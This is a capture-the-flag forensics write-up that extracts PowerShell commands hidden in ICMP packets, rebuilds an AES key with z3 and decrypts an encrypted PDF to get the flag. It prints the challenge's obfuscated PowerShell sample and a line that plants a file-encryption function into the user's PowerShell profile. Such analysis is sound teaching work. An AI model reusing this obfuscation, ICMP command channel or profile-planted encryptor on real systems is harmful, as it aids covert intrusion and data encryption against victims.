"direct_love.pcapng" icmp_req_data, icmp_rep_data = extract_icmp_data_with_payload(pcap_file) with open("req.txt", "w") as f: f.write(icmp_req_data.decode()) with open("rep.txt", "wb") as f: f.write(icmp_rep_data) print("Done")

notes on ICMP data

After experimenting, there's certain pattern. for every pair of ICMP Request and Reply packet, they hold the exact same data. and there's additional ICMP reply packet with different IV. turns out, the Pair ICMP evaluates to base64 encoded command and the additional ICMP packet evaluates to the command output

Obfuscated Poweshell Analysis

The ICMP data we extract, resulted to 2 different files, req.txt and rep.txt. req.txt contains base64encoded string with tons of special char. to decode it we need to use CyberChef and remove the null bytes. The decoded string is obfuscated powershell script (on god) with 10000++ lines. below is the formatted and truncated script.

${[-&}=-${#%*}; ${*^@}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${)^%}'; ${%^&}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${**(}'; ${!>#}=++${#%*}; ${@%^}=++${#%*}; ${**(}=++${#%*}; ${(#)}=++${#%*}; ${*&!}=++${#%*}; ${@$#}=++${#%*}; ${&^^}=++${#%*}; ${^&!}=++${#%*}; ${*%$}=++${#%*}; ${)^%}="["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${^&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${&^^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${(#)}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${@$#}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${(#)}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${@%^}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${^&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${(#)}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}"; iex ${*^@}; iex ${%^&}; ${%^&}=${(#)}; ${*^@}=${*&!}; ${)^%}=${@$#}; ${**(}=${&^^}; ${!>#}=-${%^&}; ${@$#}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${^&!}'; ${*&!}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${&^^}'; ${*%$}=++${%^&}; ${[-&}=++${%^&}; ${&^^}=++${%^&}; ${*^@}=++${%^&}; ${**(}=++${%^&}; ${@%^}=++${%^&}; ${#%*}=++${%^&}; ${(#)}=++${%^&}; ${)^%}=++${%^&}; ${^&!}="["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${!>#}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${!>#}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${*%$}${*^@}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*^@}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*^@}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*^@}${#%*}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${!>#}"; iex ${@$#}; iex ${*&!}; . . .

formatted, truncated, and modified a bit

And near the ends, we could see a readable powershell function

Add-Content -Path $PROFILE -Value 'function Encrypt-File { param ([string]$Key, [string]$FilePath, [byte[]]$IV) ; $KeyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key) ; $KeyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash($KeyBytes) ; if ($IV.Length -ne 16) { throw "IV must be exactly 16 bytes long." } ; $aes = [System.Security.Cryptography.Aes]::Create() ; $aes.Key = $KeyBytes ; $aes.IV = $IV ; $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC ; $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 ; $encryptedBytes = $aes.CreateEncryptor().TransformFinalBlock([System.IO.File]::ReadAllBytes($FilePath), 0, [System.IO.File]::ReadAllBytes($FilePath).Length) ; [System.IO.File]::WriteAllBytes("$FilePath.wkwk", $encryptedBytes) }'

in powershell variable can be declared by using ${} and with such syntaxt, the variable name can include any utf-8 chars, be it special or alphanumeric. Before analyzing deeper, let's just see what each block (until iex) does. My intuition gave me that the line before iex statement is trying to construct a string, so we can try to iex that variable before. Doing so on the first block gave me this

image

output of the first iex block

hoho, we are on the right track here. i tried to do this several times for each subsequent blocks (less than 10) and eventually find some that outputs something interesting

image
image

The first part picture is self-explanatory, it tries to create a glovbal variable $key, but the second picture? let's just leave it at that for now. the next we do is to get all the command strings generated by the shellcode. unfortunately, we can't evaluate (execute) them all in the same powershell session, it will break the whole command. luckily, we were able to come up with automation script as shown below

automate.ps1

$secondaryScriptPath = ".\req.txt.ps1" $lineInterval = 14 $resultFile = Join-Path -Path (Get-Location) -ChildPath "operation.txt" $totalLines = (Get-Content $secondaryScriptPath).Count $content = Get-Content $secondaryScriptPath $result = "" $counter = 0 while ($content.Count -gt 0) { $iexIndex = 0 while (-not ($content[$iexIndex] -match "iex")){ $iexIndex += 1; } $indices = 0..($iexIndex - 1) $scriptToRun = $content | Select-Object -Index $indices $scriptToRun = ($scriptToRun -join "`n") + "iex " + $scriptToRun[-1].Substring(0, 6) + ";" $bytes = [System.Text.Encoding]::Unicode.GetBytes($scriptToRun) $base64 = [Convert]::ToBase64String($bytes) Start-Process powershell -ArgumentList "-EncodedCommand", $base64 -NoNewWindow -RedirectStandardOutput $tempOutputFile -Wait Get-Content $tempOutputFile | Out-File $resultFile -Append $content = $content[($iexIndex + 2)..($content.Count - 1)] $counter +=1 }

This script will evaluate all of the string generation by shellcode and write it to a file. The content should look like this

($key[47] -eq (191 -bxor 213))

-not ($key[24] -eq (231 -bxor 193))

-not ($key[2] -eq (171 -bxor 229))

($key[11] -eq (13 -bxor 142))

-not ($key[19] -eq (121 -bxor 15))
.
.
.

AES Key Reconstruction

To understand the purpose of commands operations in the previous section, we have to check the output of that command in rep.txt, below is the truncated rep.txt

.
.
.
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><Obj S="progress" RefId="1"><TNRef RefId="0" /><MS><I64 N="SourceId">2</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>success#< CLIXML
False
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
True
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
True
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
False
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
True
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
False
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
True
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
True
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
False
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
True
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML
False
.
.
.

So the script is actually telling us, the correct byte element of the key at certain indexes by doing the operation before. If that's the case, then what we are interested in are pair of command-ouput which either eq operation-True or not eq operation-False since it tells us the correct value of key at that index. Well then the next part will be parsing (again :sob: ) to whatever format you like, in this case, we decided to parse it to python syntax e.g using Not(). And we used z3 as the equalities solver, since evaluating manual 200++ statements is cumbersome.

z3solver.py

from z3 import Real, Solver, Not d = """ ($key[47] -eq (191 -bxor 213)) -not ($key[24] -eq (231 -bxor 193)) . . . """ r = """False True True False . . . """ key = [Real(f"x_{i}") for i in range(48)] s = Solver() problem = [] for c in d.splitlines(): if not c: continue c = c.replace("-not ", "Not").replace("$key", "key").replace("-eq", "==").replace("-bxor", "^") problem.append(c) for a, b in zip(problem, r.splitlines()): # print(a + " == " + b) s.add(eval(a + " == " + b)) s.check() model = s.model() for x in key: print(chr(int(str(model[x]))), end="") print()

This script will print the correct value for each key indices and after some post-proceessing, we get the key which is base64 encoded $key = ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==

Initialization Vector

We already got the key, the secret.pdf.wkwk, but what about the IV? That's what also we asked ourselves. After some time of tinkering, we decided to run the obfuscated powershell block, after the declaration of Encrypt-File, which results as shown below

image

iex ${#%*}

Turned out the script does output the IV as base64 encoded string, and we found it in the rep.txt deep down below.

image

Profit

Now That we have all the necessary information, we can decrypt the secret.pdf.wkwk.

solver.py

function Decrypt-File { param ( [string]$Key, [string]$FilePath, [string]$Base64IV ) $KeyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key) $KeyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash($KeyBytes) $IV = [Convert]::FromBase64String($Base64IV) if ($IV.Length -ne 16) { throw "IV must be exactly 16 bytes long." } $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $KeyBytes $aes.IV = $IV $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $encryptedBytes = [System.IO.File]::ReadAllBytes($FilePath) $decryptedBytes = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) $outputFilePath = "decrypted.$FilePath" [System.IO.File]::WriteAllBytes($outputFilePath, $decryptedBytes) return $outputFilePath } Decrypt-File -Key "ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==" -FilePath "Downloads\direct_love\secret.pdf" -Base64IV "zw7/1X08PaTw8KZmgFYwtQ=="

Somehow our solver in python doesn't do it correctly, so we ought to use powershell, weird.

image

Flag

TCP1P{It_tOOk_4_lOt_Of_s4cr1f1ces_fOr_Ch1zUrU_hUh?_It's_4ctU4lly_nOth1ng_fOr_me _4s_her_f14ncé.}

Contact

You can find me on :